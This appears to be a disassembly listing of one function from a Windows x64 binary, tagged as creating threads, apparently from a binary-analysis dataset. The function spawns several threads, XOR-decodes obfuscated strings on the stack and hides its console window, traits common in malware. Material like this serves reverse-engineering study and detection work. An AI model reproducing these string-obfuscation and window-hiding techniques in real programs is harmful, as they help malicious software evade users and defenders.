Function at 0x140029eb0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x14015d070]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor r15d, r15d
lea r8, [0x140006dd0]
mov qword [rsp + 0x28], r15
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x140006cf0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140010690
call fcn.140013200
movdqa xmm1, xmmword [0x1401488e0]
mov r8b, 0x77
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x49], xmm1
mov dl, 0x30
mov r9b, reloc.WLDAP32.dll_Ordinal_35
xor r8b, cl
psrldq xmm0, 1
xor byte [rbp - 0x47], cl
xor dl, cl
xor byte [rbp - 0x46], cl
xor r9b, cl
xor byte [rbp - 0x45], cl
mov r10b, 0x3f
xor byte [rbp - 0x44], cl
xor r10b, cl
xor byte [rbp - 0x43], cl
mov r11b, 0x25
xor byte [rbp - 0x42], cl
xor r11b, cl
xor byte [rbp - 0x41], cl
mov bl, reloc.WLDAP32.dll_Ordinal_50
xor byte [rbp - 0x40], cl
xor bl, cl
xor byte [rbp - 0x3f], cl
mov dil, 0x36
xor byte [rbp - 0x3e], cl
xor dil, cl
xor byte [rbp - 0x3d], cl
mov sil, 0x33
xor byte [rbp - 0x3c], cl
xor sil, cl
xor byte [rbp - 0x3b], cl
mov r14b, 0x24
xor byte [rbp - 0x3a], cl
movd eax, xmm0
xorps xmm0, xmm0
mov byte [rbp - 0x38], r8b
mov r8, 0xffffffffffffffff
mov byte [rbp - 0x39], dl
xor al, cl
mov byte [rbp - 0x37], r9b
xor r14b, cl
mov byte [rbp - 0x48], al
mov byte [rbp - 0x31], r14b
lea rax, [rbp - 0x48]
mov byte [rbp - 0x36], r10b
mov byte [rbp - 0x35], r11b
mov byte [rbp - 0x34], bl
mov byte [rbp - 0x33], dil
mov byte [rbp - 0x32], sil
mov byte [rbp - 0x30], r15b
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
inc r8
cmp byte [rax + r8], r15b
jne 0x140029fe6
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x19]
call fcn.1400309b0
xor edx, edx
lea rcx, [rbp - 0x19]
call fcn.140012a60
mov ecx, 8
call fcn.1400ef8cc
lea rcx, [0x14001ea00]
mov r9, rax
lea r8, [0x1400392f0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x2f]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x27], rax
test rax, rax
je 0x14002a194
mov ecx, 8
call fcn.1400ef8cc
lea rdx, [0x14001ee40]
mov r9, rax
lea r8, [0x1400392f0]
xor ecx, ecx
mov qword [rax], rdx
lea rdx, [rbp + 0x1f]
mov qword [rsp + 0x28], rdx
xor edx, edx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x17], rax
test rax, rax
je 0x14002a184
mov ecx, 8
call fcn.1400ef8cc
lea rcx, [0x14001f880]
mov r9, rax
lea r8, [0x1400392f0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 7], rax
test rax, rax
je 0x14002a174
mov ebx, dword [0x14015e478]
lea rdx, [0x14015d218]
lea rcx, [rbp - 0x19]
call fcn.14002c5e0
mov edx, ebx
mov rcx, rax
call fcn.140013020
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov al, 0x34
mov byte [rbp - 0x29], reloc.WS2_32.dll_socket
movzx ecx, al
mov dl, 0x7e
xor cl, 0x17
movzx r11d, dl
mov r8b, 0x7a
mov byte [rbp - 0x27], cl
mov r9b, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp - 0x28]
mov r10b, 0x62
xor al, 0x17
xor dl, 0x17
mov byte [rbp - 0x28], al
xor r8b, 0x17
mov byte [rbp - 0x26], dl
xor r9b, 0x17
mov byte [rbp - 0x25], r8b
xor r10b, 0x17
mov byte [rbp - 0x24], r9b
xor r11b, 0x17
mov byte [rbp - 0x23], r10b
xor ebx, ebx
mov byte [rbp - 0x22], r11b
mov byte [rbp - 0x21], bl
call fcn.140020800
cmp dword [rbp + 0xf], ebx
jne 0x14002a16d
cmp dword [rbp + 0x1f], ebx
jne 0x14002a16d
cmp dword [rbp + 0x2f], ebx
je 0x14002a1a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 6
mov dword [rbp + 0xf], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x1f], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x2f], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400ef370
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret